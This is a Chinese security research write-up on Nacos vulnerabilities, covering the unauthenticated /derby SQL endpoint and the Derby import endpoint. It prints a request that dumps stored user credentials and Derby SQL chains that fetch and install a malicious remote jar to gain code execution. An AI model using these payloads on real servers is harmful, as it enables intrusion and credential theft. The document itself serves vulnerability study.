环境使用vulhub,配合远程调试,源码使用1.4.0

历史漏洞

一些nacos的历史洞

漏洞编号 漏洞类型 影响范围
CVE-2021-29441 User-Agent权限绕过 <1.4.2
CVE-2021-29441的绕过 url权限绕过 <1.4.2
QVD-2023-6271 accessToken认证绕过 <=2.2.0
CVE-2021-29441的绕过 serverIdentity硬编码绕过 <=2.2.0
Hessian反序列化漏洞 2.0.0 <= Nacos < 2.2.3

/derby接口未授权

来源于CVE-2021-29442,位于com.alibaba.nacos.config.server.controller.ConfigOpsController#derbyOps

Nacos当时的版本是有鉴权的,但是这个路径没有添加@Secured注解,可以未授权访问,并且可以用这个功能执行sql语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@GetMapping(value = "/derby")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "select";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (PropertyUtil.isEmbeddedStorage()) {
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
}
return RestResultUtils.failed("The current storage mode is not Derby");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}

其中需要满足StringUtils.startsWithIgnoreCase(sql, selectSign)的条件,也就是限定了语句必须以select开头,这里有一个有意思的小插曲,在某些版本中org.apache.commons.lang3.StringUtils#startsWithIgnoreCase的实现有问题,导致这里的select判断失效,能执行任意的sql语句,这个bug在2.3.0-BETA被修复,参考https://github.com/alibaba/nacos/issues/10935

虽然能绕过select的检查,但由于org.springframework.jdbc.core.JdbcTemplate#query(java.lang.String, org.springframework.jdbc.core.ResultSetExtractor)中的executeQuery只能执行查询语句,所以这里也没法利用 。

正常的利用方式,如查询用户名密码

1
/nacos/v1/cs/ops/derby?sql=select%20%2a%20from%20users

最终derby接口未授权的修复方案是对这个路径增加了注解,要求admin用户权限,也就是需要登录后台才能访问了。参考https://github.com/alibaba/nacos/pull/4517,但是默认情况下,特别是standalone模式下,如果没有手工配置认证,Nacos仍然是未授权访问的,

/data/removal接口

同样的类中有一个接口可以执行任意sql语句,可以用来rce,但这个接口是需要鉴权的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
DeferredResult<RestResult<String>> response = new DeferredResult<>();
if (!PropertyUtil.isEmbeddedStorage()) {
response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));
return response;
}
DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);
WebUtils.onFileUpload(multipartFile, file -> {
NotifyCenter.publishEvent(new DerbyImportEvent(false));
databaseOperate.dataImport(file).whenComplete((result, ex) -> {
NotifyCenter.publishEvent(new DerbyImportEvent(true));
if (Objects.nonNull(ex)) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
return;
}
response.setResult(result);
});
}, response);
return response;
}

可以先从官方文档了解一下derby的利用方法

1
2
3
4
CALL SQLJ.install_jar('http://localhost:9000/echo3.jar', 'APP.t3', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.t3')
CREATE PROCEDURE echo3() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'com.mypoc.SpringEcho.run'
call echo3()

或者

1
2
3
CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)  
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

不出网可以写文件

1
2
3
4
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values cast(X''{jar_hex}'' as blob)', './{id}', ',', '"', 'UTF-8', './{id}.jar')
CALL SQLJ.INSTALL_JAR('./{id}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

sqlj.install_jar

根据官方文档可知,这个存储过程的功能是将一个jar文件存储到数据库中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-- SQL statement
-- install jar from current directory
CALL SQLJ.INSTALL_JAR('tours.jar', 'APP.Sample1', 0)

-- SQL statement
-- install jar using full path
CALL SQLJ.INSTALL_JAR('c:\myjarfiles\tours.jar', 'APP.Sample1', 0)

-- SQL statement
-- install jar from remote location
CALL SQLJ.INSTALL_JAR('http://www.example.com/tours.jar', 'APP.Sample2', 0)

-- SQL statement
-- install jar using a quoted identifier for the
-- Derby jar name
CALL SQLJ.INSTALL_JAR('tours.jar', 'APP."Sample3"', 0)

-- Nacos EXP
CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
-- 这里的service变量就是我们下载文件恶意jar包文件的地址,也就是http://127.0.0.1:5000/download,id为随机8个字母,所以可以等量替换如下
CALL sqlj.install_jar('http://127.0.0.1:5000/download', 'NACOS.{id}', 0)

这个存储过程有三个参数:

  1. jar文件地址,本地或远程都可
  2. 在derby数据库中这个jar文件的名称,名称需要由模式(Schema)名称限定(可在SYSSCHEMAS表中确定)
  3. 不重要,通常为0

在Derby数据库中,使用SQLJ.INSTALL_JAR来安装JAR文件时,并不是简单地将JAR文件存储在文件系统的特定位置,而是将其存储在数据库本身的系统表中。

SQLJ.INSTALL_JAR命令会将JAR文件的内容以二进制形式存储在Derby数据库的系统表SYS.SYSFILES中,同时在SYS.SYSALIASES表中创建对应的别名(alias)。

SYSCS_SET_DATABASE_PROPERTY

这个存储过程功能就是设置derby数据库中属性的值,我们对应的代码如下

1
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')

上边代码所执行的功能是,将derby.database.classpath的属性设置为我们刚刚上传的jar文件的标识

正常情况下Derby数据库中是支持java类的,Derby 默认加载的是其自身的类路径,这包括 Derby 内置的一些 Java 类和函数,并不包括sqlj.install_jar 安装的 JAR 文件中的内容,所以我们想要执行sqlj.install_jar 安装的 JAR就需要利用SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY 来指定 Derby 的类路径,使其能够正确加载这些类。

SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE

这里第一行用到了SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE,其实第一个参数为我们的payload,第二个参数为生成的文本文件,最后一个参数就是生成的jar文件,所以执行后会生成两个文件,虽然我们只需要jar文件,但是第二个参数不能为空,本地实验设置为空会出错,包括文档里也写了,如果为空则会报错

Reference

https://blog.csdn.net/baidu_25299117/article/details/140476392

https://github.com/ax1sX/SecurityList/blob/main/Java_OA/NacosAudit.md

https://forum.butian.net/article/473

https://forum.butian.net/article/483

https://forum.butian.net/article/570

http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce